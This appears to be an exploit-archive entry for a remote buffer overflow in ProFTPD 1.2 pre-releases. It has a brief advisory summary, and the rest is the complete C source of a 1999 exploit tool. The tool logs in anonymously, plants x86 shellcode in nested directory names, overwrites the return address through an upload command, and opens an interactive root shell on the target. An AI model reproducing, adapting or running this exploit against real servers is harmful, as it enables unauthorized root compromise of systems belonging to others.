ProFTPD 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow (1)



source: http://www.securityfocus.com/bid/612/info


The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
The vulnerability in 1.2pre4 is a mkdir overflow. The name of the created path can not exceed 255 chars.
1.2pre6 limits the command buffer size to 512 characters in src/main.c and modifies the fix from 1.2pre4. 

/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
*               - adm-wuftpd by duke
*               - kombajn do czere�ni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define MAXARGLEN       64
#define MAXLINE         1024
#define ANONL           "ftp"
#define ANONP           "mozilla@"
#define INCOM           "/incoming/"
#define FTPPORT         21
#define RET             0xbffff550
#define NOP             0x90
#define ALIGN           0
#define CONTENT         "y0u ar3 n0w 0wn3d!"
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define BOLD            "\E[1m"
#define UNBOLD          "\E[m"

char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];

#ifdef DEBUG
FILE *phile;
#endif

long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}

int readline(sockfd, buf)
int sockfd;
char *buf;
{
        int done = 0;
        char *n = NULL, *p = NULL, localbuff[MAXLINE];

        while (!done)
        {
                if (!p)
                {

                        int count;

                        bzero(localbuff, MAXLINE);

                        if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                        {
                                (void)fprintf(stderr, "IO error.\n");
                                return -1;
                        }
//
#ifdef DEBUG
                        fprintf(phile, "Received: %s", localbuff);
#endif
//

                        localbuff[count] = 0;
                        p = localbuff;
                }

                n=(char *)strchr(p, '\r');

                if (n)
                {
                        *n = 0;
                        n += 2;
                        done = 1;
                }

                bzero(buf, MAXLINE);

                strncat(buf, p, MAXLINE);
                p = n;
        }
        return 0;
}

int eatthis(sockfd, line)
int sockfd;
char *line;
{
        do
        {
                bzero(line, MAXLINE);
                if (readline(sockfd, line) < 0) return -1;
        } while (line[3] != ' ');

        return (int)(line[0] - '0');
}

int connecttoftp(host)
char *host;
{
        int sockfd;

        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(FTPPORT);

//
#ifdef DEBUG
        fprintf(phile, "Connecting to %s.\n", host);
#endif
//

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                return -1;
        }

//
#ifdef DEBUG
        fprintf(phile, "Connected to %s.\n", host);
#endif
//

        return sockfd;
}

int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
        int result;
        char errbuf[MAXLINE];

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "USER %s\r\n", login);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 3)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PASS %s\r\n", passwd);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int makedir(dir, sockfd)
char *dir;
int sockfd;
{
        char buf[MAXLINE], errbuf[MAXLINE], *p;
        int n, result;

        bzero(buf, MAXLINE);
        p = buf;
        for(n=0;n < strlen(dir);n++)
        {

                if(dir[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=dir[n];
                p++;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "MKD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "CWD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        return 0;
}

int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{

        char shellcode[]=
                "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
                "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
                "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
                "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
                "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
                "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
                "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
                "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
                "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
                "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";

        char buf1[MAXLINE], tmp[MAXLINE], *p, *q;

        if (makedir(cwd, sockfd) < 0) return -1;

        bzero(buf1, MAXLINE);

        memset(buf1, 0x90, 756);
        memcpy(buf1, cwd, strlen(cwd));

        p = &buf1[strlen(cwd)];
        q = &buf1[755];

        bzero(tmp, MAXLINE);

        while(p <= q)
        {
                strncpy(tmp, p, 100);
                if (makedir(tmp, sockfd) < 0) return -1;
                p+=100;
        }


        if (makedir(shellcode, sockfd) < 0) return -1;
        return 0;
}

int put(sockfd, offset, align)
int sockfd, offset, align;
{
        char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE], hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
        int n, sock, nsock, port, i;
        struct in_addr in;
        int octet_in[4], result;
        char *oct;
        struct sockaddr_in yo;

        bzero(buf2, MAXLINE);
        memset(buf2, NOP, 100);

        for(i=4-ALIGN-align; i<96; i+=4)
                *(long *)&buf2[i] = RET + offset;

        p = &buf2[0];
        q = &buf2[99];

        bzero(tmp, MAXLINE);
        strncpy(tmp, p, strlen(buf2));

        port=getpid()+1024;

        bzero(&yo, sizeof(yo));
        yo.sin_family = AF_INET;
        yo.sin_port=htons(port);

        bzero(buf, MAXLINE);
        p=buf;
        for(n=0;n<strlen(tmp);n++)
        {
                if(tmp[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=tmp[n];
                p++;
        }

        gethostname(hostname, MAXLINE);
        in.s_addr = getip(hostname);

        oct=(char *)strtok(inet_ntoa(in),".");
        octet_in[0]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[1]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[2]=atoi(oct);
        oct=(char *)strtok(NULL,".");
        octet_in[3]=atoi(oct);

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
                perror("socket()");
                return -1;
        }

        if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
        {
                perror("bind()");
                close(sock);
                return -1;
        }

        if (listen (sock,10) < 0)
        {
                perror("listen()");
                close(sock);
                return -1;
        }

        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "STOR %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//

        result = eatthis(sockfd, errbuf);

        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }

        if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct sockaddr))) < 0)
        {
                perror("accept()");
                close(sock);
                return -1;
        }

        write(nsock, CONTENT, sizeof(CONTENT));

//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", CONTENT);
#endif
//

        close(sock);
        close(nsock);

        return 0;
}

int sh(sockfd)
int sockfd;
{
        char buf[MAXLINE];
        int c;
        fd_set rf, drugi;

        FD_ZERO(&rf);
        FD_SET(0, &rf);
        FD_SET(sockfd, &rf);

        while (1)
        {
                bzero(buf, MAXLINE);
                memcpy (&drugi, &rf, sizeof(rf));
                select(sockfd+1, &drugi, NULL, NULL, NULL);
                if (FD_ISSET(0, &drugi))
                {
                        c = read(0, buf, MAXLINE);
                        send(sockfd, buf, c, 0x4);
                }

                if (FD_ISSET(sockfd, &drugi))
                {
                        c = read(sockfd, buf, MAXLINE);
                        if (c<0) return 0;
                        write(1,buf,c);
                }
        }
}

void usage(void)
{
        (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o offset] [-a align] host\n", av0);
        exit(1);
}

int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
        char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];

        (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GREEN, NORM, UNBOLD);

        if (strchr(argv[0], '/'))
                av0 = strrchr(argv[0], '/') + 1;
        else
                av0 = argv[0];

        opterr = aflag = oflag = lflag = pflag = dflag = 0;

        while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
                switch((char)ch)
                {
                        case 'l':
                                lflag = 1;
                                strncpy(login, optarg, MAXARGLEN);
                                break;

                        case 'p':
                                pflag = 1;
                                strncpy(passwd, optarg, MAXARGLEN);
                                break;

                        case 'd':
                                dflag = 1;
                                strncpy(cwd, optarg, MAXARGLEN);
                                break;

                        case 'o':
                                oflag = 1;
                                offset = atoi(optarg);
                                break;

                        case 'a':
                                aflag = 1;
                                align = atoi(optarg);
                                break;

                        case '?':
                        default:
                                usage();
                }

        argc -= optind;
        argv += optind;

        if (argc != 1) usage();
        if (!lflag) strncpy(login, ANONL, MAXARGLEN);
        if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
        if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
        if (!oflag) offset = 0;
        if (!aflag) align = 0;

//
#ifdef DEBUG
        phile = fopen("debug", "w");
#endif
//

        if ((sockfd = connecttoftp(*argv)) < 0)
        {
                (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);

        if (logintoftp(sockfd, login, passwd) < 0)
        {
                (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n", *argv, login, passwd);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in %s\n", login, passwd, cwd);

        if (mkd(sockfd, cwd) < 0)
        {
                (void)fprintf(stderr, "Unknown error while making directories.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET + offset, align);

        if (put(sockfd, offset, align) < 0)
        {
                (void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }

        (void)fprintf(stderr, "Y0u are n0w r00t.\n");

        if (sh(sockfd) < 0)
        {
                (void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                close(sockfd);
                exit(1);
        }
//
#ifdef DEBUG
        fclose(phile);
#endif
//
        exit(0);
}